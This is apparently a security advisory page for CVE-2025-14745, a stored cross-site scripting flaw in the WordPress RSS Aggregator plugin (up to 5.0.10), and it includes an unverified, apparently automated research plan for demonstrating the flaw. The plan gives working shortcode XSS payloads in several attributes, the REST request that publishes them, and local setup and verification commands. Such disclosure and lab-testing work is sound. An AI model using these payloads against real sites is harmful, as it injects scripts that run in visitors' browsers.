CVE-2025-14745

RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via wp-rss-aggregator Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.0.11
Patched in
1d
Time to patch

Description

The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp-rss-aggregator' shortcode in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.10
PublishedJanuary 22, 2026
Last updatedJanuary 23, 2026
Affected pluginwp-rss-aggregator

What Changed in the Fix

Changes introduced in v5.0.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the **RSS Aggregator** plugin (<= 5.0.10). The vulnerability allows a Contributor-level user to inject arbitrary JavaScript via unescaped shortcode attributes. ### 1. Vulnerability Summary The `wp-rss-a…

Show full research plan

This plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the RSS Aggregator plugin (<= 5.0.10). The vulnerability allows a Contributor-level user to inject arbitrary JavaScript via unescaped shortcode attributes.

1. Vulnerability Summary

The wp-rss-aggregator shortcode processes various attributes that define the appearance of the feed display. These attributes are mapped to a DisplaySettings object. When rendering the feed using the ListLayout or LayoutTrait, several settings (such as htmlClass, datePrefix, sourcePrefix, and authorPrefix) are concatenated directly into HTML strings (often using PHP Heredoc syntax) without being passed through WordPress escaping functions like esc_attr() or esc_html().

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg or Classic).
  • Shortcode: [wp-rss-aggregator]
  • Vulnerable Attributes: html_class, date_prefix, source_prefix, author_prefix.
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes.
  • Preconditions: At least one Feed Source and one Feed Item should exist to trigger the rendering of the item-specific prefixes (like date_prefix), although html_class is rendered in the outer container even if the list is empty.

3. Code Flow

  1. Entry Point: A user views a page containing the shortcode: [wp-rss-aggregator html_class='"><script>alert(1)</script>'].
  2. Processing: The shortcode handler calls RebelCode\Aggregator\Core\Renderer::renderArgs($args, 'shortcode').
  3. Argument Parsing: Renderer::parseArgs processes the $args array. While the provided source snippet is truncated, the logic for shortcodes typically maps $args (e.g., html_class) to the DisplaySettings object properties (e.g., htmlClass).
  4. Display Logic: Renderer::renderDisplay is called, which initializes the layout (e.g., RebelCode\Aggregator\Core\Display\ListLayout).
  5. Vulnerable Sink (Outer Container): In core/src/Display/ListLayout.php, the render() method uses $this->ds->htmlClass directly:
    return <<<HTML
        <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
            ...
        </div>
    HTML;
    
  6. Vulnerable Sink (Item Meta): In core/src/Display/LayoutTrait.php, methods like renderDate() use prefixes directly:
    return <<<HTML
        <{$tag} class="{$class}">
            {$this->ds->datePrefix} {$dateStr}
        </{$tag}>
    HTML;
    

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
Shortcodes are processed by WordPress whenever a page is rendered. The "storage" of the XSS occurs when a Contributor saves a post containing the malicious shortcode. WordPress core handles the permission for a Contributor to save posts.

5. Test Data Setup

To ensure the LayoutTrait sinks are hit (which require items to be rendered), we will create a dummy feed source and a dummy feed item.

  1. Create a Feed Source:
    wp post create --post_type=wprss_feed --post_title="Exploit Source" --post_status=publish
    
  2. Create a Feed Item (associated with the source):
    # Get the ID of the source created above
    SOURCE_ID=$(wp post list --post_type=wprss_feed --format=ids)
    wp post create --post_type=wprss_feed_item --post_title="Exploit Item" --post_status=publish --post_meta_input="{\"wprss_feed_id\":\"$SOURCE_ID\"}"
    

6. Exploitation Strategy

Step 1: Login as Contributor

Use the http_request tool to authenticate as a user with the contributor role.

Step 2: Create Malicious Post

Create a new post containing the wp-rss-aggregator shortcode with the payload in the html_class attribute. This attribute is highly reliable because it breaks out of the class attribute of the container div.

  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Method: POST
  • Content-Type: application/json
  • Payload:
    {
      "title": "Aggregator Feed",
      "content": "[wp-rss-aggregator html_class='\"><script>alert(document.domain)</script>']",
      "status": "publish"
    }
    
    (Note: If the REST API is restricted, use browser_navigate and browser_click to create the post via the UI).

Step 3: Trigger the XSS

Navigate to the newly created post as any user (including unauthenticated visitors).

  • Action: browser_navigate("http://localhost:8080/?p=POST_ID")
  • Detection: Look for the script execution or the broken HTML structure in the DOM.

7. Expected Results

The output HTML will look like this:

<div class="wp-rss-aggregator wpra-list-template "><script>alert(document.domain)</script>">
    <ul class="rss-aggregator wpra-item-list ...">
        ...
    </ul>
</div>

The browser will execute the injected <script> tag.

8. Verification Steps

  1. Check Post Content:
    wp post list --post_type=post --field=post_content
    
  2. Verify Rendered Output:
    Use http_request to fetch the post and check if the unescaped payload exists:
    # Expected grep match
    curl -s http://localhost:8080/?p=POST_ID | grep -F '"><script>alert(document.domain)</script>'
    

9. Alternative Approaches

If html_class is sanitized by a different component, target the meta prefixes in LayoutTrait.php:

  • Author Prefix: [wp-rss-aggregator author_prefix='<script>alert("author")</script>']
  • Date Prefix: [wp-rss-aggregator date_prefix='<script>alert("date")</script>']
  • Source Prefix: [wp-rss-aggregator source_prefix='<script>alert("source")</script>']

These require that at least one feed item is present and the corresponding display setting (e.g., enable_dates) is active. If the display settings are not active by default, they can also be enabled via shortcode attributes (e.g., [wp-rss-aggregator date_prefix='...' dates='on']).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.